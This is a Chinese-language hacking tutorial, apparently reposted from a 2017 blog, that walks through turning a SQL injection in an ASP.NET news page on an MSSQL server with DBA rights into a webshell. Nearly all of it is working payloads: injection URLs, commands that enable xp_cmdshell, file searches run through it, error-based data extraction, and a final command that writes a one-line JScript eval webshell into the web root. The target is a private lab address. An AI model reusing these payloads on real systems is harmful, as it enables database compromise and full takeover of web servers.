|
From:http:///2017/05/16/MSSQL-DBA-Permission-GET-WEBSHELL/ 前言本文主要通過一個案例來演示一下當(dāng)MSSQL是DBA權(quán)限,且不知道路徑的時候如何去獲取WEBSHELL。當(dāng)然這種方式對站庫分離的無效。 過程首先找到一個如下的注入點(diǎn): http://192.168.232.138:81/manage/news/Newslist.aspx?ClassID=1' and 1=user;-- 通過SQLMAP可以查看到是DBA權(quán)限 創(chuàng)建臨時表 http://192.168.232.138:81/manage/news/Newslist.aspx?ClassID=1';CREATE TABLE tt_tmp (tmp1 varchar(8000));-- 在WINDOWS下查找文件用如下命令: for /r 目錄名:\ %i in (匹配模式) do @echo %i 例如在C盤下搜索NewsList.aspx,可以使用 使用 一定要在匹配模式里面加上一個*號,不然搜索出來的是全部的目錄,后面拼接了你搜索的內(nèi)容。 用xp_cmdshell執(zhí)行查找文件的命令,并將搜索的結(jié)果插入到臨時表中 http://192.168.232.138:81/manage/news/Newslist.aspx?ClassID=1';insert into tt_tmp(tmp1) exec master..xp_cmdshell 'for /r c:\ %i in (Newslist*.aspx) do @echo %i ';-- 如果無法執(zhí)行xp_cmdshell,并提示如下錯誤 可以使用如下命令來啟用xp_cmdshell ;EXEC sp_configure 'show advanced options',1;//允許修改高級參數(shù) RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; //打開xp_cmdshell擴(kuò)展 RECONFIGURE;-- 然后再次執(zhí)行搜索命令。 在執(zhí)行上述搜索和插入過程后,可以使用 可以用報錯將表內(nèi)容給顯示出來 http://192.168.232.138:81/manage/news/Newslist.aspx?ClassID=2' and 1=(select top 1 tmp1 from tt_tmp)and 'a'='a 繼續(xù)爆 http://192.168.232.138:81/manage/news/Newslist.aspx?ClassID=2' and 1=(select top 1 tmp1 from tt_tmp where tmp1 not in ('c:\inetpub\wwwroot\manage\news\NewsList.aspx '))and 'a'='a 也可以用sqlmap直接將表中數(shù)據(jù)讀取出來 然后根據(jù)導(dǎo)出結(jié)果的路徑來判斷是否可能為WEB目錄。然后寫入一個測試文件,看是否可以訪問來進(jìn)一步證實(shí)結(jié)果。 這里在根目錄寫了一個txt文件,寫別的目錄怕因為沒有權(quán)限而無法訪問。 http://192.168.232.138:81/manage/news/Newslist.aspx?ClassID=1';exec master..xp_cmdshell 'echo test >c:\\WWW\\2333.txt';-- 然后訪問http://192.168.232.138:81/2333.txt
成功訪問,然后就是寫一句話 http://192.168.232.138:81/manage/news/Newslist.aspx?ClassID=1';exec master..xp_cmdshell 'echo ^<%@ Page Language='Jscript'%^>^<%eval(Request.Item['pass'],'unsafe');%^> > c:\\WWW\\233.aspx' ;-- 成功寫入。然后就是進(jìn)一步的操作了,這里就不概述了。
總結(jié)這里一共有三個小的知識點(diǎn): EXEC sp_configure 'show advanced options',1;//允許修改高級參數(shù) RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; //打開xp_cmdshell擴(kuò)展 RECONFIGURE; 2.Windows下利用dos如何搜索文件 for /r c:\ %i in (Newslist*.aspx) do @echo %i for /r c:\ %i in (Newslist.aspx*) do @echo %i 3.dos命令下寫文件遇到 echo ^<^> > 123.txt |
|
|